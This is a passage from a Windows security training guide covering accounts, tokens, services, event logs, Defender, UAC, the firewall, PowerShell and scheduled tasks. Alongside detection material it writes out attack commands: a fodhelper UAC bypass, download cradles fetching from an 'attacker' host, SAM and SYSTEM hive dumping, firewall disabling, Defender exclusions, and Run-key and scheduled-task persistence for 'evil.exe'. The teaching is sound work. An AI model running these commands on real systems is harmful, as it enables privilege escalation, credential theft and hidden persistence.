S-1-1-0          Everyone
S-1-5-18         SYSTEM
S-1-5-32-544     BUILTIN\Administrators
S-1-5-32-545     BUILTIN\Users
S-1-5-32-546     BUILTIN\Guests

# Get current user's SID
[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value

# Get SID for any user
Get-LocalUser -Name "Administrator" | Select-Object Name, SID

# Convert SID to name
$objSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-...")
$objSID.Translate([System.Security.Principal.NTAccount])

4.3 Local Groups

# List all local groups
Get-LocalGroup

# Key groups:
# Administrators  — Members can do anything on the local machine
# Users           — Standard users
# Remote Desktop Users — Can connect via RDP
# Remote Management Users — Can connect via WinRM/PowerShell remoting
# Backup Operators — Can bypass file permissions for backup (dangerous if abused)
# Event Log Readers — Can read event logs without admin rights

# Check members of Administrators group
Get-LocalGroupMember -Group "Administrators"

# This is a critical check during post-exploitation:
# Who else has admin on this machine?

Backup Operators — An Often Overlooked Privilege:
Members of the Backup Operators group have SeBackupPrivilege and SeRestorePrivilege. These allow reading any file regardless of NTFS permissions (for "backup" purposes). An attacker with Backup Operators membership can:

Copy the SAM and SYSTEM hives using backup APIs
Extract password hashes
Crack or pass them for lateral movement

This is exactly why group membership matters — it is not just about "Administrator" vs "User."

4.4 Access Tokens and Impersonation

When a user logs in, Windows creates an access token — a data structure containing:

User SID
Group SIDs (all groups the user belongs to)
Privileges
Integrity level
Session ID

Every process and thread has an access token. All access control checks compare the token against the object's ACL.

Token Impersonation — The Post-Exploitation Technique:
Windows allows processes (with the right privileges) to "impersonate" another user by duplicating their token. This is a critical lateral movement and privilege escalation technique:

Scenario:
1. Attacker compromises a web server running as IIS AppPool
2. A domain admin connects to the server and their token is cached
3. With SeImpersonatePrivilege (which IIS workers have by default),
   the attacker duplicates the domain admin's token
4. Attacker creates a new process with the impersonated token
5. Now running as domain admin

Tools like Incognito (Metasploit module) and Juicy Potato / Rotten Potato / Sweet Potato automate token impersonation attacks. These are extremely common in CTF post-exploitation and real penetration tests.

# Check current token privileges
whoami /priv

# Dangerous privileges that enable privilege escalation:
# SeImpersonatePrivilege  → Potato attacks, token impersonation
# SeAssignPrimaryToken    → Assign tokens to new processes
# SeBackupPrivilege       → Read any file
# SeRestorePrivilege      → Write any file
# SeDebugPrivilege        → Debug (and inject into) any process including SYSTEM ones
# SeLoadDriverPrivilege   → Load kernel drivers → BYOVD attacks
# SeTakeOwnershipPrivilege → Take ownership of any object

5. Windows Service Architecture

5.1 What Is a Windows Service

A Windows service is a long-running executable that performs specific functions and can be started automatically at boot, independently of user login. Services run in the background with no user interface.

Services are the backbone of Windows functionality:

wuauserv — Windows Update
WinDefend — Windows Defender
LanmanServer — File sharing (SMB server)
TermService — Remote Desktop
Dnscache — DNS client cache
EventLog — Windows Event Log

5.2 Service Internals

# List all services with details
Get-Service | Select-Object Name, DisplayName, Status, StartType

# Get detailed service configuration
Get-WmiObject Win32_Service | 
    Select-Object Name, PathName, StartMode, State, StartName |
    Where-Object {$_.State -eq "Running"} |
    Sort-Object Name

# The StartName field is critical — it shows what account the service runs as
# Values you'll see: LocalSystem, NT AUTHORITY\LocalService, NT AUTHORITY\NetworkService,
# NT AUTHORITY\SYSTEM, or a specific domain/local account

5.3 svchost.exe — The Service Host

svchost.exe (Service Host) is a generic host process for Windows services that are implemented as DLLs rather than standalone executables. Many services share svchost.exe instances to save resources.

This is one of the most abused process names in malware. Understanding normal svchost.exe behaviour is essential:

# List all svchost instances and what services they host
Get-Process svchost | ForEach-Object {
    $pid = $_.Id
    $services = Get-WmiObject Win32_Service | Where-Object {$_.ProcessId -eq $pid}
    [PSCustomObject]@{
        PID = $pid
        Services = ($services.Name -join ", ")
        Path = $_.Path
    }
} | Format-Table -Wrap

# CRITICAL CHECKS for each svchost.exe:
# 1. Must run from C:\Windows\System32\svchost.exe
# 2. Must be spawned by services.exe
# 3. Must have -k <group_name> parameter
# Any svchost.exe that fails these checks is suspicious

Process Hollowing with svchost.exe:
Attackers commonly create a legitimate svchost.exe process in suspended state, then replace its memory contents with malicious code before resuming it. This results in malicious code running inside what appears to be a legitimate system process. Modern EDR products detect this by monitoring for process creation followed by memory writes from an external process.

5.4 Service Permissions — The Privilege Escalation Surface

Services that run as SYSTEM but have insecure permissions are a primary Windows privilege escalation vector:

Unquoted Service Path:
If a service's ImagePath contains spaces and is not quoted, Windows searches for the executable in multiple locations:

Unquoted path: C:\Program Files\Vulnerable Service\service.exe

Windows searches in order:
1. C:\Program.exe          ← If this exists, it runs as SYSTEM!
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Service\service.exe

If an attacker can write to C:\ (often possible for non-admin users), they place a malicious Program.exe there. Next service restart = SYSTEM shell.

# Find unquoted service paths
Get-WmiObject Win32_Service | 
    Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '} |
    Select-Object Name, PathName, StartMode, StartName

Weak Service Binary Permissions:

# Find services where users can modify the binary
Get-WmiObject Win32_Service | ForEach-Object {
    $path = ($_.PathName -split '"')[1]
    if (!$path) { $path = ($_.PathName -split ' ')[0] }
    if ($path -and (Test-Path $path)) {
        $acl = Get-Acl $path
        $acl.Access | Where-Object {
            $_.IdentityReference -match "Everyone|BUILTIN\\Users|BUILTIN\\Authenticated" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | ForEach-Object {
            "$($_.name): $path writable by $($_.IdentityReference)"
        }
    }
}

6. Task Manager, Event Viewer, msconfig

6.1 Task Manager — Beyond Ctrl+Alt+Delete

Task Manager (taskmgr.exe) is the most accessible process monitoring tool. But most users use only 10% of its capability.

Processes Tab — What to Look For:

# Command line equivalent with more detail:
Get-Process | Select-Object Name, Id, CPU, WorkingSet, 
    @{N='ParentPID';E={(Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)").ParentProcessId}},
    Path | Sort-Object CPU -Descending

Key columns to enable (right-click column headers):

PID — Always enable this
Publisher — Is this binary signed by Microsoft or a known vendor?
Command Line — Reveals arguments passed to the process
CPU Time — Cumulative, not just current usage

Details Tab — The Real Information:
The Details tab shows all processes including those not tied to a user session. Enable columns: PID, Session, CPU, Memory, Description, Image Path, Command Line.

What anomalies look like in Task Manager:

svchost.exe running from anything other than C:\Windows\System32\
explorer.exe running with an unusual parent (should be userinit.exe)
Multiple instances of processes that should be unique (lsass.exe, winlogon.exe)
Processes with no description or publisher (legitimate Microsoft processes always have these)
Processes consuming high CPU with no obvious reason

6.2 Event Viewer — The Security Audit Trail

Event Viewer (eventvwr.msc) is where Windows records everything. For security professionals, it is the primary forensic record.

Event Log Structure:

Windows Logs:
├── Application    — Application errors and information
├── Security       — Authentication, authorisation, policy changes
├── Setup          — Windows installation events
├── System         — OS component events
└── Forwarded Events — Aggregated from other machines

Applications and Services Logs:
├── Microsoft\Windows\PowerShell\Operational  ← Critical for threat hunting
├── Microsoft\Windows\Sysmon\Operational      ← Best Windows telemetry (if installed)
├── Microsoft\Windows\TaskScheduler\Operational
├── Microsoft\Windows\WMI-Activity\Operational
└── ... hundreds more

Critical Security Event IDs — Memorise These:

Event ID	Log	Description	Why It Matters
4624	Security	Successful logon	Who logged in, from where, with what method
4625	Security	Failed logon	Brute force attempts, invalid credentials
4648	Security	Logon with explicit credentials	Pass-the-Hash, RunAs, credential-based lateral movement
4634/4647	Security	Logoff	Session duration
4672	Security	Special privileges assigned to new logon	Admin-equivalent logon
4688	Security	New process created	Process execution audit (requires policy change)
4689	Security	Process terminated
4698	Security	Scheduled task created	Common persistence mechanism
4699	Security	Scheduled task deleted	Covering tracks
4702	Security	Scheduled task updated	Modifying persistence
4720	Security	User account created	New account creation
4722	Security	User account enabled	Enabling disabled accounts
4723/4724	Security	Password change/reset	Credential changes
4728/4732/4756	Security	User added to security group	Privilege escalation via group membership
4756	Security	Member added to universal group
4768	Security	Kerberos TGT requested	Authentication events
4769	Security	Kerberos service ticket requested	Kerberoasting detection
4771	Security	Kerberos pre-auth failed
4776	Security	NTLM authentication	Pass-the-Hash detection
7045	System	New service installed	Malware installing as service
1102	Security	Audit log cleared	Attacker covering tracks — IMMEDIATE ALERT

# Query specific event IDs
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    Id = 4624, 4625
    StartTime = (Get-Date).AddDays(-1)
} | Select-Object TimeCreated, Id, Message | Format-List

# Find all failed logons in last 24 hours
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddDays(-1)} |
    ForEach-Object {
        $xml = [xml]$_.ToXml()
        [PSCustomObject]@{
            Time = $_.TimeCreated
            TargetUser = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'} | Select-Object -ExpandProperty '#text'
            WorkstationName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'WorkstationName'} | Select-Object -ExpandProperty '#text'
            IpAddress = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'
        }
    }

# Check if audit log was cleared (immediate red flag)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} |
    Select-Object TimeCreated, Message

Logon Types — Critical for Understanding Authentication Events:

Type	Name	Description	Security Context
2	Interactive	Physical or console logon	Normal user login
3	Network	SMB, named pipes	Lateral movement, file shares
4	Batch	Scheduled tasks	Persistence mechanisms
5	Service	Service startup	Service account activity
7	Unlock	Workstation unlock
8	NetworkCleartext	Cleartext credentials over network	IIS basic auth, legacy
9	NewCredentials	RunAs with /netonly	Pass-the-Hash, impersonation
10	RemoteInteractive	RDP	Remote access
11	CachedInteractive	Cached domain credentials	Offline domain logon

Analyst Note: Logon Type 3 (Network) events are the backbone of lateral movement detection. When an attacker moves from machine to machine using Pass-the-Hash or stolen credentials, each authentication generates a Type 3 logon event. Correlating Type 3 events across machines reveals the attacker's path through the network.

6.3 msconfig — System Configuration

msconfig.exe (System Configuration) is a GUI tool for managing startup items, services, and boot options. Primarily useful for:

Boot tab — Safe mode options, boot logging, enabling boot debugging (useful for kernel analysis)
Services tab — Enable/disable services at startup
Startup tab — Legacy startup item management (modern Windows redirects this to Task Manager)

Security Relevance:
msconfig is less relevant for security work than Autoruns (which shows far more locations) but understanding it is important because:

Attackers sometimes disable security services through msconfig
Malware occasionally adds boot configuration changes
"Safe boot" mode is used during malware removal to prevent malware from loading

7. Windows Defender

7.1 Windows Defender Architecture

Windows Defender (officially Microsoft Defender Antivirus) is a full-featured security suite built into Windows. It has evolved dramatically — from a basic antispyware tool in Windows Vista to a competitive enterprise-grade security product.

Key Components:

Windows Security (GUI)
    ↓
Microsoft Defender Antivirus Service (WinDefend)
    ├── Real-time Protection Engine
    │   ├── IOAV (I/O Access Validation) — scans files on access
    │   ├── Behaviour Monitoring — watches process behaviour
    │   └── Network Inspection System (NIS)
    ├── Signature-based Detection
    │   └── VDM files (definition updates)
    ├── Cloud-based Protection (MAPS)
    │   └── Submits suspicious files to Microsoft for analysis
    ├── Controlled Folder Access — ransomware protection
    └── Attack Surface Reduction (ASR) Rules

AMSI — Anti-Malware Scan Interface:
This is one of the most important Windows security features for understanding the cat-and-mouse game between attackers and defenders.

AMSI provides a standardised interface that security products (Defender and third-party) can hook into to scan script content at runtime — PowerShell scripts, VBScript, JavaScript, and other interpreted languages — before execution.

PowerShell script execution path:
Script content → AMSI Provider (Defender) → Scan → Malicious? Block : Execute

Before AMSI, attackers could simply base64-encode a PowerShell payload and antivirus could not see it because it only scanned the file, not the decoded script content. AMSI scans the decoded, in-memory content.

AMSI Bypass Techniques (for understanding, not abuse):
Attackers have developed numerous AMSI bypass techniques, making this an ongoing arms race:

# AMSI works by scanning content via AmsiScanBuffer() in amsi.dll
# Bypass approach 1 (patched, historical): Patch the return value
# Bypass approach 2: Reflection to set amsiInitFailed = true
# Bypass approach 3: Obfuscation to avoid signature patterns
# Bypass approach 4: Use .NET assemblies loaded in a way that doesn't invoke AMSI

# Defenders detect AMSI bypass attempts via:
# - PowerShell script block logging (Event ID 4104)
# - Memory patching of amsi.dll
# - Behavioural indicators of common bypass patterns

Understanding AMSI is directly relevant to both offensive (bypassing it during a pentest) and defensive (detecting bypass attempts via Event Viewer) work.

7.2 Attack Surface Reduction (ASR) Rules

ASR rules are one of the most underutilised but powerful features of modern Defender. They block specific attack techniques at the policy level:

Rule	What It Blocks
Block Office apps from creating child processes	`winword.exe` spawning `cmd.exe` — classic maldoc technique
Block Office macros from Win32 API calls	Macro-based malware calling Windows APIs directly
Block credential stealing from LSASS	Mimikatz-style attacks against LSASS
Block process creation from PSExec and WMI	Lateral movement via PSExec/WMI
Block untrusted/unsigned executables from USB	USB-delivered malware
Block JavaScript/VBScript launching executables	Script-based downloaders

# Check current ASR rules status
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions

# Enable aggressive ASR rules (Audit mode first, then Block)
Set-MpPreference -AttackSurfaceReductionRules_Ids <GUID> -AttackSurfaceReductionRules_Actions AuditMode

7.3 Exclusions — The Defender Achilles Heel

Defender exclusions are configured paths, processes, or file types that Defender will not scan. They are a necessary feature for performance in some environments but are routinely abused:

# Check existing exclusions — attackers check this during post-exploitation
Get-MpPreference | Select-Object ExclusionPath, ExclusionProcess, ExclusionExtension

# Common attack technique: Add an exclusion for your malware's location
Set-MpPreference -ExclusionPath "C:\Users\Public\Tools"
# Now anything in that path will not be scanned

Real-world abuse: Many legitimate software products add broad exclusions during installation for performance reasons. Attackers identify these exclusions and place their malware in the excluded paths. Regularly auditing Defender exclusions is an important hardening step.

8. UAC — User Account Control

8.1 What UAC Is and Why It Exists

UAC (User Account Control) was introduced in Windows Vista to address a fundamental problem: users were routinely running as local Administrators, meaning every application they ran — including malware — had full administrative privileges.

UAC implements the principle of least privilege for interactive users by creating two tokens at logon time:

A filtered token with administrative privileges removed — used for normal operations
A full administrator token — used only when explicitly elevated

Admin user logs in:
    ├── Filtered Token (Medium integrity) → used for explorer.exe, applications
    └── Full Token (High integrity) → used only after UAC prompt consent

This means even a local Administrator runs at Medium integrity level day-to-day and must explicitly consent to elevation.

8.2 UAC Elevation Flow

User double-clicks installer.exe
        ↓
Windows checks: does this need admin? (manifest, installer heuristics)
        ↓
UAC prompt displayed on Secure Desktop
(Secure Desktop: a separate desktop that user apps cannot interact with)
        ↓
User clicks Yes (or provides credentials if standard user)
        ↓
New elevated process created with High integrity token

The Secure Desktop is crucial — it prevents malware from programmatically clicking "Yes" on the UAC prompt by running the prompt on a separate desktop that only the kernel can draw on.

8.3 UAC Settings and Their Security Implications

Always notify (most secure)
    → Prompt for ALL changes, on secure desktop

Notify only when apps try to make changes (default)
    → Prompt for app changes on secure desktop
    → No prompt for Windows settings changes

Notify but not on secure desktop
    → Prompt displayed on normal desktop
    → Malware CAN spoof this by drawing over it or sending programmatic clicks

Never notify (worst)
    → UAC completely disabled
    → All processes run with full admin token
    → Equivalent to pre-Vista security model

# Check current UAC setting
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
    Select-Object EnableLUA, ConsentPromptBehaviorAdmin, PromptOnSecureDesktop
# EnableLUA = 1 means UAC is enabled
# ConsentPromptBehaviorAdmin: 2=prompt for credentials, 5=prompt for consent (default)
# PromptOnSecureDesktop: 1=secure desktop (default), 0=normal desktop (insecure)

8.4 UAC Bypass Techniques

UAC is not a security boundary — Microsoft explicitly states this. It is a convenience feature. A determined attacker with code execution as a standard admin can bypass UAC.

Auto-elevation — The Design Quirk:
Some Windows executables are explicitly marked to auto-elevate without a UAC prompt. These are signed Microsoft executables in trusted locations. If an attacker can make one of these auto-elevating executables load their malicious code, they get elevation without a prompt.

DLL Hijacking for UAC Bypass:

1. Find an auto-elevating executable that loads a DLL from a user-writable location
2. Place malicious DLL in that location
3. Trigger the auto-elevating executable
4. DLL loads with elevated privileges, no UAC prompt

Examples of historic UAC bypasses using this technique:

eventvwr.exe bypass — eventvwr.exe auto-elevates and reads a registry key the user controls; attacker redirects it to launch a custom executable
fodhelper.exe bypass — fodhelper.exe reads shell open commands from HKCU (user-writable) and launches them elevated
sdclt.exe bypass — similar mechanism

# fodhelper UAC bypass (educational, common in CTFs and real pentest assessments)
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(Default)" -Value "cmd.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Result: cmd.exe opens with High integrity (elevated) without UAC prompt
# Cleanup:
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Key Mindset: UAC bypass techniques are some of the most commonly tested in CTFs and OSCP-style exams. Understanding WHY they work (auto-elevation + user-writable registry/file paths) is more important than memorising specific techniques, because new bypasses are discovered regularly.

9. Windows Firewall

9.1 Windows Firewall Architecture

Windows Firewall (officially Windows Defender Firewall with Advanced Security) is a host-based, stateful firewall built into Windows. Unlike network perimeter firewalls, it runs on the endpoint itself.

Inbound Traffic → [Network Interface] → Windows Filtering Platform (WFP)
                                              ↓
                                    [Firewall Rules Engine]
                                              ↓
                               Allow? → Application receives data
                               Block? → Traffic dropped, optionally logged

Windows Filtering Platform (WFP):
WFP is the kernel-mode architecture underlying Windows Firewall and all third-party firewall/VPN/network security products on Windows. Any product that filters network traffic on Windows uses WFP callout drivers. Understanding WFP is essential for understanding how Windows network security products work — and how they can be bypassed.

9.2 Profiles

Windows Firewall operates with three network profiles applied based on the detected network type:

Profile	Applied When	Default Posture
Domain	Machine joined to a domain and domain controller detected	More permissive (managed environment)
Private	Home or trusted network	Moderate
Public	Untrusted network (coffee shop, airport)	Most restrictive

# Check firewall status for all profiles
Get-NetFirewallProfile | Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction

# Enable/Disable (use carefully)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

9.3 Firewall Rules

# List all enabled inbound rules
Get-NetFirewallRule -Direction Inbound -Enabled True |
    Select-Object DisplayName, Action, Profile |
    Sort-Object DisplayName

# Find rules that allow inbound connections
Get-NetFirewallRule -Direction Inbound -Action Allow -Enabled True |
    Select-Object DisplayName, Profile

# Find rules for a specific port
Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} |
    Get-NetFirewallPortFilter | Where-Object {$_.LocalPort -eq '3389'} |
    ForEach-Object {Get-NetFirewallRule -AssociatedNetFirewallPortFilter $_} |
    Select-Object DisplayName, Direction, Action

# Create a rule (example: allow RDP from specific IP only)
New-NetFirewallRule -DisplayName "Allow RDP from Management" `
    -Direction Inbound `
    -Protocol TCP `
    -LocalPort 3389 `
    -RemoteAddress 192.168.1.100 `
    -Action Allow

9.4 Firewall Evasion and Manipulation

Attackers routinely disable or modify Windows Firewall during post-exploitation:

# Disable firewall completely (requires admin)
netsh advfirewall set allprofiles state off

# Add a rule to allow a specific port (C2 communication)
netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow protocol=TCP localport=4444

# Open a port for a specific program
netsh advfirewall firewall add rule name="Updater" dir=in action=allow program="C:\malware.exe"

Detection: These commands generate Windows Event Log entries:

Event ID 2004 (Security) — Rule added to Windows Firewall
Event ID 2005 (Security) — Rule modified
Event ID 2006 (Security) — Rule deleted
Event ID 2033 (Security) — All rules deleted

Windows Firewall Bypass via Allowed Applications:
Every application that you install that needs inbound connections adds a firewall exception. Malware often adds itself using the name of a legitimate application:

netsh advfirewall firewall add rule name="Google Chrome" dir=in action=allow program="C:\Users\user\AppData\Local\evil.exe"

10. PowerShell Fundamentals

10.1 Why PowerShell Matters More Than Anything Else in Windows Security

PowerShell is not just a scripting language. It is the most powerful administration interface in Windows, providing direct access to .NET, COM objects, WMI, the registry, Active Directory, and virtually every Windows subsystem. It is the preferred tool of both administrators and attackers.

The "Living off the Land" reality: Attackers prefer PowerShell because:

It is present on every modern Windows system
It can be used without writing files to disk (in-memory execution)
It can download and execute payloads directly from the internet
It has deep access to every Windows subsystem
Historically it could evade antivirus tools

10.2 PowerShell Execution Policy

Execution policy controls whether PowerShell will run scripts. It is commonly misunderstood as a security feature — it is not. It is an administrative guardrail.

# Check current execution policy
Get-ExecutionPolicy -List

# Policies (least to most restrictive):
# Unrestricted  — Run anything
# Bypass        — Nothing is blocked, no warnings
# RemoteSigned  — Local scripts OK, downloaded scripts need signature
# AllSigned     — All scripts must be signed
# Restricted    — No scripts allowed (default on consumer Windows)
# Undefined     — No policy set for this scope

# Bypass execution policy (does NOT require admin — this is by design)
powershell.exe -ExecutionPolicy Bypass -File script.ps1
powershell.exe -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

# Execution policy is not a security control
# It can be bypassed in at least 15 different ways

10.3 Core PowerShell Concepts for Security Work

Pipeline — The Fundamental Design:

# PowerShell passes objects through the pipeline, not text
# This is fundamentally different from bash
Get-Process | Where-Object {$_.CPU -gt 10} | Sort-Object CPU -Descending | Select-Object Name, CPU, Id

# Each stage receives full .NET objects, not strings
# This makes filtering and manipulation far more powerful and accurate than bash text parsing

Essential Cmdlets for Security Work:

# Process and service investigation
Get-Process
Get-Service
Get-WmiObject Win32_Process  # More details than Get-Process

# Network investigation
Get-NetTCPConnection          # Active TCP connections
Get-NetUDPEndpoint            # UDP endpoints
Test-NetConnection -ComputerName target -Port 445  # Port test

# File system
Get-ChildItem -Path C:\ -Recurse -Force  # List everything including hidden
Get-Item -Path "HKLM:\SOFTWARE\..." -ErrorAction SilentlyContinue  # Registry
Get-Content C:\file.txt        # Read file
Get-FileHash C:\file.exe -Algorithm SHA256  # Hash a file

# User and group
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember -Group "Administrators"
whoami /all  # Current user, groups, and privileges

# Event logs
Get-WinEvent -LogName Security -MaxEvents 100
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-1)}

# Active Directory (if RSAT installed or on DC)
Get-ADUser -Filter * -Properties *
Get-ADGroupMember -Identity "Domain Admins"
Get-ADComputer -Filter * -Properties *

10.4 PowerShell for Offensive Operations — Understanding the Threat

Understanding how PowerShell is weaponised is essential for both attackers (in authorised pentests) and defenders (to build detections):

Download Cradles — The Most Common Technique:

# Download and execute in memory (no file written to disk)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')

# Using Invoke-RestMethod
IEX (Invoke-RestMethod 'http://attacker/payload.ps1')

# Using certutil to download (LOLBin)
certutil -urlcache -split -f http://attacker/payload.exe C:\temp\payload.exe

# Using bitsadmin (LOLBin)
bitsadmin /transfer job http://attacker/payload.exe C:\temp\payload.exe

Encoded Commands — Obfuscation:

# Attackers encode payloads to evade signature detection
$command = 'Write-Host "Executed"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded

# Defenders decode these for analysis:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded))

10.5 PowerShell Logging — The Defender's Best Friend

Three levels of PowerShell logging are critical for security operations:

1. Module Logging (Event ID 4103):
Logs all pipeline execution and output. Very verbose.

2. Script Block Logging (Event ID 4104):
Logs the actual content of every script block executed — including deobfuscated content. This is why AMSI bypass attempts and encoded commands still get detected — PowerShell logs the decoded content before execution.

# Enable script block logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name EnableScriptBlockLogging -Value 1 -Force

# Log location: Microsoft-Windows-PowerShell/Operational (Event ID 4104)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object {$_.Id -eq 4104} |
    Select-Object TimeCreated, Message |
    Format-List

3. Transcription Logging:
Logs all input and output to a text file — like a complete session recording.

# Enable transcription via policy
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -Name EnableTranscripting -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -Name OutputDirectory -Value "C:\PSTranscripts" -Force

Professional Note: Enabling Script Block Logging should be one of the first steps in any Windows security hardening programme. It dramatically increases visibility into PowerShell-based attacks. Combined with a SIEM or log aggregation solution, it enables detection of most PowerShell-based attack techniques.

11. CMD — Core Commands

11.1 CMD vs PowerShell

CMD (Command Prompt, cmd.exe) is the legacy Windows command interpreter. It predates PowerShell and is significantly less powerful, but it remains important because:

Available on all Windows versions including legacy systems common in OT environments
Simpler and faster for basic tasks
Many malware scripts still use CMD
Log analysis sometimes reveals CMD commands used by attackers
Some tools and situations still require CMD

11.2 Essential CMD Commands for Security Work

System Reconnaissance:

:: System information
systeminfo
hostname
whoami
whoami /all         :: User, groups, and privileges
ipconfig /all       :: Network configuration
net user            :: List local users
net localgroup      :: List local groups
net localgroup Administrators  :: Who is in Administrators?

:: Process and network
tasklist /v         :: Process list with details
tasklist /svc       :: Services hosted in each process
netstat -ano        :: Active connections with PID
netstat -b          :: Which process owns each connection (requires admin)

:: Environment
set                 :: All environment variables
echo %PATH%
echo %COMPUTERNAME%
echo %USERNAME%
echo %USERDOMAIN%

File System:

:: Directory listing
dir /a /s C:\interesting_directory  :: All files including hidden, recursive
dir /r                              :: Show alternate data streams
type file.txt                       :: Read file
more file.txt                       :: Read file page by page

:: Find files
where /r C:\ *.ps1     :: Find all PowerShell scripts
where /r C:\ passwords.txt

:: File operations
copy source.txt dest.txt
move source.txt dest.txt
del file.txt
rmdir /s /q directory

Networking:

:: Network connectivity
ping target_ip
ping -n 1 -w 1000 192.168.1.1   :: Quick ping (1 packet, 1 second timeout)
tracert target_ip

:: DNS
nslookup domain.com
nslookup -type=MX domain.com
nslookup -type=TXT domain.com

:: ARP cache (local network discovery)
arp -a

:: Routing
route print

:: Remote connectivity test
telnet target_ip port             :: Test if port is open (if telnet is installed)

Registry:

:: Query registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query HKLM /f password /t REG_SZ /s  :: Search for "password" in all HKLM values

:: Add/modify (requires appropriate permissions)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\evil.exe" /f

:: Save and load hives
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive

Service and Process Management:

:: Services
sc query                    :: List all services
sc query type= all state= all  :: All services including stopped
sc qc ServiceName           :: Query service configuration
sc start ServiceName
sc stop ServiceName
sc create MyService binPath= "C:\service.exe" start= auto

:: Processes
taskkill /PID 1234 /F       :: Force kill by PID
taskkill /IM notepad.exe /F :: Force kill by name

Scheduled Tasks:

:: List all scheduled tasks
schtasks /query /fo LIST /v

:: Create a task (common persistence technique)
schtasks /create /tn "Windows Update" /tr "C:\evil.exe" /sc ONLOGON /ru SYSTEM

:: Delete a task
schtasks /delete /tn "TaskName" /f

12. Task Scheduler

12.1 Task Scheduler Architecture

Task Scheduler is one of the most commonly abused persistence mechanisms in Windows. Attackers love it because:

Tasks can run as any user, including SYSTEM
Tasks survive reboots
Tasks can be hidden from normal view
Tasks can be triggered by dozens of conditions (logon, time, events, system state)
Tasks are legitimate Windows functionality — hard to distinguish from benign tasks without investigation

12.2 Task Structure

Each scheduled task has:

Trigger — What causes it to run (time, logon, event, idle, etc.)
Action — What to execute (program, script)
Principal — What account to run as
Conditions — Additional constraints (only when idle, only on AC power, etc.)
Settings — Run if missed, restart on failure, etc.

<!-- Example task XML structure -->
<Task>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal>
      <UserId>S-1-5-18</UserId>  <!-- SYSTEM -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
</Task>

12.3 Task Scheduler as Persistence — Attack and Detection

Creating Malicious Tasks:

# PowerShell — create a SYSTEM-level task that runs at logon
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-NonInteractive -WindowStyle Hidden -EncodedCommand BASE64PAYLOAD"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "Microsoft Edge Update" `
    -Action $action -Trigger $trigger -Principal $principal -Force

Common Attacker Tricks:

Naming tasks after legitimate software — "Google Update," "Adobe Acrobat Update," "Microsoft Edge Update"
Nesting in legitimate folders — Tasks can be in subfolders; attackers create tasks in \Microsoft\Windows\ to blend in
COM handler hijacking via tasks — Tasks that trigger on specific events to load malicious COM handlers
Deleting the task after execution — OnLogon task that runs once, delivers payload, then deletes itself

Detection:

# List all tasks with full detail — look for anomalies
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Name = $task.TaskName
        Path = $task.TaskPath
        State = $task.State
        LastRun = $info.LastRunTime
        NextRun = $info.NextRunTime
        Actions = ($task.Actions | ForEach-Object {"$($_.Execute) $($_.Arguments)"}) -join " | "
        RunAs = $task.Principal.UserId
    }
} | Format-Table -Wrap

# Tasks created recently (last 7 days) — high suspicion
